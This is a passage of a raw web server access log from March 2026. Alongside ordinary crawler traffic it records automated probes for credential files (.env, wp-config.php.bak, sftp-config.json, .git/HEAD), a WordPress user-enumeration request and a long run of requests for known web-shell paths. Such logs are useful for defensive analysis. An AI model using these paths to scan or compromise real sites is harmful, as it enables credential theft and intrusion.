HTTP/1.1" 301 795 "-" "facebookexternalhit/1.1 (+http://www.facebook.com/externalhit_uatext.php)" 68.221.133.183 - - [25/Mar/2026:17:07:25 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 3.70.126.251 - - [25/Mar/2026:19:25:41 +0300] "GET /.env HTTP/1.1" 301 795 "-" "-" 74.248.130.23 - - [25/Mar/2026:18:26:14 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 129.226.213.145 - - [25/Mar/2026:20:07:38 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 43.140.247.223 - - [25/Mar/2026:16:42:54 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 192.71.126.245 - - [25/Mar/2026:19:14:57 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115" 136.119.140.22 - - [25/Mar/2026:19:36:53 +0300] "GET /.env HTTP/1.1" 301 795 "-" "python-requests/2.32.5" 49.51.50.147 - - [25/Mar/2026:21:00:17 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 80.94.95.202 - - [25/Mar/2026:18:55:59 +0300] "GET / HTTP/1.0" 301 795 "http://eliteewallet.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36" 136.119.140.22 - - [25/Mar/2026:19:36:55 +0300] "GET /.env HTTP/1.1" 301 795 "-" "python-requests/2.32.5" 164.92.184.121 - - [25/Mar/2026:21:36:16 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 164.92.184.121 - - [25/Mar/2026:21:36:16 +0300] "GET /favicon.ico HTTP/1.1" 301 795 "http://eliteewallet.com/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 87.121.82.31 - - [25/Mar/2026:22:27:53 +0300] "GET /.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 40.77.167.108 - - [25/Mar/2026:23:18:56 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm) Chrome/116.0.1938.76 Safari/537.36" 62.171.173.178 - - [25/Mar/2026:23:29:53 +0300] "GET /wp-admin/css/ HTTP/1.1" 301 795 "binance.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 143.244.57.84 - - [25/Mar/2026:21:54:44 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 52.167.144.199 - - [25/Mar/2026:23:19:00 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm) Chrome/116.0.1938.76 Safari/537.36" 45.130.203.163 - - [26/Mar/2026:00:16:02 +0300] "GET /.git/HEAD HTTP/1.1" 403 787 "-" "Python-urllib/3.10" 182.43.70.143 - - [26/Mar/2026:00:08:19 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 45.130.203.167 - - [26/Mar/2026:00:16:02 +0300] "GET /.git/HEAD HTTP/1.1" 403 787 "-" "Python-urllib/3.10" 198.235.24.209 - - [26/Mar/2026:00:55:20 +0300] "GET / HTTP/1.1" 301 795 "-" "Hello from Palo Alto Networks, find out more about our scans in https://docs-cortex.paloaltonetworks.com/r/1/Cortex-Xpanse/Scanning-activity" 185.181.246.203 - - [26/Mar/2026:00:51:09 +0300] "GET / HTTP/1.0" 301 795 "http://eliteewallet.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 Avast/131.0.0.0" 195.226.194.95 - - [26/Mar/2026:03:27:16 +0300] "GET /wp-content/plugins/wp-automatic/css/wp-automatic.css HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:48.0) Gecko/20100101 Firefox/48.0" 49.51.178.45 - - [26/Mar/2026:02:34:47 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 51.89.255.221 - - [26/Mar/2026:04:28:21 +0300] "GET /.env HTTP/1.1" 301 795 "-" "python-requests/2.26.0" 80.94.92.123 - - [26/Mar/2026:01:14:06 +0300] "GET /.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 93.100.135.20 - - [26/Mar/2026:01:20:41 +0300] "GET / HTTP/1.0" 301 795 "http://eliteewallet.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36" 45.89.60.157 - - [26/Mar/2026:03:16:19 +0300] "GET /txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.1 Safari/605.1.15" 45.89.60.157 - - [26/Mar/2026:03:16:19 +0300] "GET /wp-content/txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36 Edg/130.0.0.0" 51.68.107.146 - - [26/Mar/2026:03:48:45 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MJ12bot/v2.0.5; http://mj12bot.com/)" 51.68.107.146 - - [26/Mar/2026:03:48:45 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MJ12bot/v2.0.5; http://mj12bot.com/)" 66.249.66.76 - - [26/Mar/2026:04:04:05 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 80.94.92.123 - - [26/Mar/2026:01:14:06 +0300] "POST / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 170.106.84.136 - - [26/Mar/2026:01:50:36 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 66.249.66.14 - - [26/Mar/2026:04:05:50 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 27.46.75.5 - - [26/Mar/2026:01:16:01 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.3762.127 Safari/537.36 SE 2.X MetaSr 1.0" 20.151.2.242 - - [26/Mar/2026:01:38:27 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 222.100.134.27 - - [26/Mar/2026:05:29:12 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Mobile Safari/A73F69" 144.172.65.31 - - [26/Mar/2026:05:29:24 +0300] "GET /wp-config.php.bak HTTP/1.1" 301 795 "-" "Python-urllib/2.7" 159.223.58.121 - - [26/Mar/2026:07:12:21 +0300] "GET /.vscode/sftp.json HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0" 159.223.58.121 - - [26/Mar/2026:07:12:53 +0300] "GET /.sftp-config.json HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0" 91.134.35.95 - - [26/Mar/2026:07:12:03 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Edge/92.0.902.67" 159.223.58.121 - - [26/Mar/2026:07:13:03 +0300] "GET /ftp-sync.json HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0" 146.112.163.60 - - [26/Mar/2026:07:51:02 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36" 43.157.174.69 - - [26/Mar/2026:06:56:55 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 159.223.58.121 - - [26/Mar/2026:07:12:11 +0300] "GET /sftp-config.json HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0" 159.223.58.121 - - [26/Mar/2026:07:12:32 +0300] "GET /.vscode/ftp-config.json HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0" 181.215.182.26 - - [26/Mar/2026:06:56:04 +0300] "GET /.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0" 159.223.58.121 - - [26/Mar/2026:07:13:14 +0300] "GET /.ftp-sync.json HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0" 195.154.174.131 - - [26/Mar/2026:08:08:37 +0300] "GET /index.php?rest_route=/wp/v2/users&orderby=id&order=asc&per_page=100&page=1 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36" 159.223.58.121 - - [26/Mar/2026:07:12:43 +0300] "GET /.vscode/ftp-sync.json HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0" 150.109.46.88 - - [26/Mar/2026:07:38:26 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 64.89.163.50 - - [26/Mar/2026:06:53:02 +0300] "GET /.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" 159.223.58.121 - - [26/Mar/2026:07:13:34 +0300] "GET /.ftp-config.json HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0" 54.211.252.213 - - [26/Mar/2026:07:36:27 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 159.223.58.121 - - [26/Mar/2026:07:13:23 +0300] "GET /ftp-config.json HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0" 192.71.12.10 - - [26/Mar/2026:08:53:53 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; CrOS x86_64 14541.0.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.3" 91.92.242.199 - - [26/Mar/2026:10:09:53 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "https://duckduckgo.com/" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.5993.88 Safari/537.36" 43.159.145.149 - - [26/Mar/2026:12:27:44 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 51.120.83.8 - - [26/Mar/2026:10:23:12 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 87.121.84.71 - - [26/Mar/2026:11:31:13 +0300] "GET /adminLite/jQuery-File-Upload/server/php/index.php?file=tf2rghf.jpg HTTP/1.1" 301 795 "-" "ALittle Client" 144.91.103.84 - - [26/Mar/2026:11:43:09 +0300] "GET /wp-content/plugins/shell/about.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 43.130.16.212 - - [26/Mar/2026:11:48:25 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 102.129.223.92 - - [26/Mar/2026:13:29:27 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 12_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 YaBrowser/22.7.0 Yowser/2.5 Safari/537.36" 36.41.75.167 - - [26/Mar/2026:14:29:50 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 20.151.201.236 - - [26/Mar/2026:15:13:29 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 74.235.238.88 - - [26/Mar/2026:15:14:16 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 194.163.188.214 - - [26/Mar/2026:14:32:15 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36" 69.171.231.112 - - [26/Mar/2026:13:36:34 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "facebookexternalhit/1.1 (+http://www.facebook.com/externalhit_uatext.php)" 43.159.148.221 - - [26/Mar/2026:16:11:28 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 162.62.213.187 - - [26/Mar/2026:16:53:28 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 20.151.11.236 - - [26/Mar/2026:17:03:49 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 203.175.125.130 - - [26/Mar/2026:20:05:10 +0300] "GET /txets.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 203.175.125.130 - - [26/Mar/2026:20:05:21 +0300] "GET /schallfuns.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 20.151.201.236 - - [26/Mar/2026:20:53:58 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 203.175.125.130 - - [26/Mar/2026:20:05:19 +0300] "GET /wp-includes/txets.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 203.175.125.130 - - [26/Mar/2026:20:05:27 +0300] "GET /wp-admin/postnews.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 203.175.125.130 - - [26/Mar/2026:20:05:27 +0300] "GET /wp-includes/postnews.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 20.63.83.113 - - [26/Mar/2026:19:39:00 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 40.80.81.138 - - [26/Mar/2026:20:46:50 +0300] "GET /wp-content/plugins/shell/about.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 43.135.36.201 - - [26/Mar/2026:20:50:29 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 203.175.125.130 - - [26/Mar/2026:20:05:16 +0300] "GET /wp-content/txets.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 203.175.125.130 - - [26/Mar/2026:20:05:18 +0300] "GET /wp-admin/txets.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 103.77.107.57 - - [26/Mar/2026:20:43:12 +0300] "GET /sftp-config.json HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0" 103.77.107.57 - - [26/Mar/2026:20:43:16 +0300] "GET /.vscode/sftp.json HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0" 203.175.125.130 - - [26/Mar/2026:20:05:23 +0300] "GET /postnews.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 203.175.125.130 - - [26/Mar/2026:20:05:23 +0300] "GET /wp-content/postnews.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 46.224.167.107 - - [26/Mar/2026:19:37:46 +0300] "GET /configuration/info.xml HTTP/1.1" 301 795 "-" "Fuzz Faster U Fool v2.1.0" 20.48.232.178 - - [26/Mar/2026:22:33:40 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 20.48.232.178 - - [26/Mar/2026:22:33:55 +0300] "GET /class-t.api.php HTTP/1.1" 301 795 "-" "-" 20.48.232.178 - - [26/Mar/2026:22:38:16 +0300] "GET /wsd.php HTTP/1.1" 301 795 "-" "-" 20.48.232.178 - - [26/Mar/2026:22:39:15 +0300] "GET /m.php HTTP/1.1" 301 795 "-" "-" 20.48.232.178 - - [26/Mar/2026:22:40:30 +0300] "GET /install.php HTTP/1.1" 301 795 "-" "-" 20.48.232.178 - - [26/Mar/2026:22:43:12 +0300] "GET /wp-content/index.php HTTP/1.1" 301 795 "-" "-" 20.48.232.178 - - [26/Mar/2026:22:43:13 +0300] "GET /admin.php HTTP/1.1" 301 795 "-" "-" 20.48.232.178 - - [26/Mar/2026:22:46:12 +0300] "GET /manager.php?p= HTTP/1.1" 301 795 "-" "-" 20.48.232.178 - - [26/Mar/2026:22:48:12 +0300] "GET /byp.php HTTP/1.1" 301 795 "-" "-" 20.48.232.178 - - [26/Mar/2026:22:50:25 +0300] "GET /wp-includes/customize/about.php HTTP/1.1" 301 795 "-" "-" 20.48.232.178 - - [26/Mar/2026:22:53:18 +0300] "GET /wp-includes/assets/index.php HTTP/1.1" 301 795 "-" "-" 20.48.232.178 - - [26/Mar/2026:22:54:43 +0300] "GET /wp-content/themes/twentytwentytwo/index.php?p= HTTP/1.1" 301 795 "-" "-" 20.48.232.178 - - [26/Mar/2026:22:54:43 +0300] "GET /.well-known/log.php HTTP/1.1" 301 795 "-" "-" 20.48.232.178 - - [26/Mar/2026:22:54:55 +0300] "GET /class.php HTTP/1.1" 301 795 "-" "-" 20.48.232.178 - - [26/Mar/2026:22:56:15 +0300] "GET /ioxi-o1.php HTTP/1.1" 301 795 "-" "-" 20.48.232.178 - - [26/Mar/2026:22:59:37 +0300] "GET /bibil.php HTTP/1.1" 301 795 "-" "-" 20.48.232.178 - - [26/Mar/2026:23:00:33 +0300] "GET /wp-admin/css/colors/midnight/about.php HTTP/1.1" 301 795 "-" "-" 20.48.232.178 - - [26/Mar/2026:23:01:53 +0300] "GET /ccou.php HTTP/1.1" 301 795 "-" "-" 20.48.232.178 - - [26/Mar/2026:23:02:15 +0300] "GET /403.php HTTP/1.1" 301 795 "-" "-" 20.48.232.178 - - [26/Mar/2026:23:03:34 +0300] "GET /xaz.php HTTP/1.1" 301 795 "-" "-" 20.48.232.178 - - [26/Mar/2026:22:35:34 +0300] "GET /images/m.php HTTP/1.1" 301 795 "-" "-" 20.48.232.178 - - [26/Mar/2026:22:36:04 +0300] "GET /tx1.php HTTP/1.1" 301 795 "-" "-" 20.48.232.178 - - [26/Mar/2026:22:36:20 +0300] "GET /xv.php HTTP/1.1" 301 795 "-" "-" 20.48.232.178 - - [26/Mar/2026:22:37:05 +0300] "GET /readme.php HTTP/1.1" 301 795 "-" "-" 20.48.232.178 - - [26/Mar/2026:22:38:01 +0300] "GET /as.php HTTP/1.1" 301 795 "-" "-" 20.48.232.178 - - [26/Mar/2026:22:39:45 +0300] "GET /wp-admin/maint/about.php HTTP/1.1" 301 795 "-" "-" 20.48.232.178 - - [26/Mar/2026:22:40:15 +0300] "GET /click.php HTTP/1.1" 301 795 "-" "-" 20.48.232.178 - - [26/Mar/2026:22:40:48 +0300] "GET /simple.php HTTP/1.1" 301 795 "-" "-" 20.48.232.178 - - [26/Mar/2026:22:41:26 +0300] "GET /wp-includes/images/wp-login.php HTTP/1.1" 301 795 "-" "-" 20.48.232.178 - - [26/Mar/2026:22:44:29 +0300] "GET /inputs.php HTTP/1.1" 301 795 "-" "-" 20.48.232.178 - - [26/Mar/2026:22:46:57 +0300] "GET /404.php HTTP/1.1" 301 795 "-" "-" 20.48.232.178 - - [26/Mar/2026:22:47:57 +0300] "GET /1.php HTTP/1.1" 301 795 "-" "-" 20.48.232.178 - - [26/Mar/2026:22:48:33 +0300] "GET /wp-admin/network/plugins.php HTTP/1.1" 301 795 "-" "-" 20.48.232.178 - - [26/Mar/2026:22:48:48 +0300] "GET /wp-admin/about.php HTTP/1.1" 301 795 "-" "-" 20.48.232.178 - - [26/Mar/2026:22:49:53 +0300] "GET /wp-content/themes/about.php HTTP/1.1" 301 795 "-" "-" 20.48.232.178 - - [26/Mar/2026:22:51:34 +0300] "GET /about/function.php HTTP/1.1" 301 795 "-" "-" 20.48.232.178 - - [26/Mar/2026:22:52:04 +0300] "GET /.well-known/acme-challenge/index.php HTTP/1.1" 301 795 "-" "-" 20.48.232.178 - - [26/Mar/2026:22:53:28 +0300] "GET /wp-content/radio.php HTTP/1.1" 301 795 "-" "-" 20.48.232.178 - - [26/Mar/2026:22:54:28 +0300] "GET /wp-content/plugins/admin.php HTTP/1.1" 301 795 "-" "-" 20.48.232.178 - - [26/Mar/2026:22:55:30 +0300] "GET /wp-includes/block-patterns/index.php HTTP/1.1" 301 795 "-" "-" 20.48.232.178 - - [26/Mar/2026:22:57:00 +0300] "GET /gg.php HTTP/1.1" 301 795 "-" "-" 20.48.232.178 - - [26/Mar/2026:22:57:30 +0300] "GET /04.php HTTP/1.1" 301 795 "-" "-" 20.48.232.178 - - [26/Mar/2026:22:58:44 +0300] "GET /gifclass4.php HTTP/1.1" 301 795 "-" "-" 20.48.232.178 - - [26/Mar/2026:22:59:50 +0300] "GET /files.php HTTP/1.1" 301 795 "-" "-" 20.48.232.178 - - [26/Mar/2026:23:00:17 +0300] "GET /gifclass.php HTTP/1.1" 301 795 "-" "-" 20.48.232.178 - - [26/Mar/2026:23:01:12 +0300] "GET /class9.php HTTP/1.1" 301 795 "-" "-" 20.48.232.178 - - [26/Mar/2026:23:03:05 +0300] "GET /pop.php HTTP/1.1" 301 795 "-" "-" 20.48.232.178 - - [26/Mar/2026:23:03:19 +0300] "GET /az.php HTTP/1.1" 301 795 "-" "-" 20.48.232.178 - - [26/Mar/2026:23:04:32 +0300] "GET /wtz.php HTTP/1.1" 301 795 "-" "-" 20.48.232.178 - - [26/Mar/2026:23:04:47 +0300] "GET /galex.php HTTP/1.1" 301 795 "-" "-" 20.48.232.178 - - [26/Mar/2026:23:05:31 +0300] "GET /vx.php HTTP/1.1" 301 795 "-" "-" 43.165.65.75 - - [26/Mar/2026:21:42:47 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 20.48.232.178 - - [26/Mar/2026:22:34:34 +0300] "GET /class20.php HTTP/1.1" 301 795 "-" "-" 20.48.232.178 - - [26/Mar/2026:22:35:19 +0300] "GET /fwe.php HTTP/1.1" 301 795 "-" "-" 20.48.232.178 - - [26/Mar/2026:22:38:31 +0300] "GET /gtc.php HTTP/1.1" 301 795 "-" "-" 20.48.232.178 - - [26/Mar/2026:22:42:12 +0300] "GET /ioxi-o.php HTTP/1.1" 301 795 "-" "-" 20.48.232.178 - - [26/Mar/2026:22:42:27 +0300] "GET /0x.php HTTP/1.1" 301 795 "-" "-" 20.48.232.178 - - [26/Mar/2026:22:42:42 +0300] "GET /css.php HTTP/1.1" 301 795 "-" "-" 20.48.232.178 - - [26/Mar/2026:22:45:12 +0300] "GET /themes/twentytwentytwo/index.php HTTP/1.1" 301 795 "-" "-" 20.48.232.178 - - [26/Mar/2026:22:46:42 +0300] "GET /plugins/Cache/footer.php HTTP/1.1" 301 795 "-" "-" 20.48.232.178 - - [26/Mar/2026:22:47:47 +0300] "GET /alfa.php HTTP/1.1" 301 795 "-" "-" 20.48.232.178 - - [26/Mar/2026:22:51:21 +0300] "GET /ww1.php HTTP/1.1" 301 795 "-" "-" 20.48.232.178 - - [26/Mar/2026:22:52:19 +0300] "GET /css/colors/blue/index.php HTTP/1.1" 301 795 "-" "-" 20.48.232.178 - - [26/Mar/2026:22:58:01 +0300] "GET /520.php HTTP/1.1" 301 795 "-" "-" 20.48.232.178 - - [26/Mar/2026:22:58:31 +0300] "GET /x.php HTTP/1.1" 301 795 "-" "-" 20.48.232.178 - - [26/Mar/2026:22:58:39 +0300] "GET /xx.php HTTP/1.1" 301 795 "-" "-" 20.48.232.178 - - [26/Mar/2026:22:58:57 +0300] "GET /2clas.php HTTP/1.1" 301 795 "-" "-" 20.48.232.178 - - [26/Mar/2026:22:59:28 +0300] "GET /wrt.php HTTP/1.1" 301 795 "-" "-" 20.48.232.178 - - [26/Mar/2026:23:00:02 +0300] "GET /file7.php HTTP/1.1" 301 795 "-" "-" 20.48.232.178 - - [26/Mar/2026:23:01:04 +0300] "GET /info.php HTTP/1.1" 301 795 "-" "-" 20.48.232.178 - - [26/Mar/2026:23:01:27 +0300] "GET /la.php HTTP/1.1" 301 795 "-" "-" 20.48.232.178 - - [26/Mar/2026:23:04:17 +0300] "GET /elp.php HTTP/1.1" 301 795 "-" "-" 20.48.232.178 - - [26/Mar/2026:23:05:01 +0300] "GET /xb.php HTTP/1.1" 301 795 "-" "-" 20.48.232.178 - - [26/Mar/2026:23:05:16 +0300] "GET /ova.php HTTP/1.1" 301 795 "-" "-" 20.48.232.178 - - [26/Mar/2026:22:34:08 +0300] "GET /zwso.php HTTP/1.1" 301 795 "-" "-" 20.48.232.178 - - [26/Mar/2026:22:36:35 +0300] "GET /x56.php HTTP/1.1" 301 795 "-" "-" 20.48.232.178 - - [26/Mar/2026:22:39:00 +0300] "GET /403.php HTTP/1.1" 301 795 "-" "-" 20.48.232.178 - - [26/Mar/2026:22:39:30 +0300] "GET /themes.php HTTP/1.1" 301 795 "-" "-" 20.48.232.178 - - [26/Mar/2026:22:43:43 +0300] "GET /classwithtostring.php HTTP/1.1" 301 795 "-" "-" 20.48.232.178 - - [26/Mar/2026:22:44:10 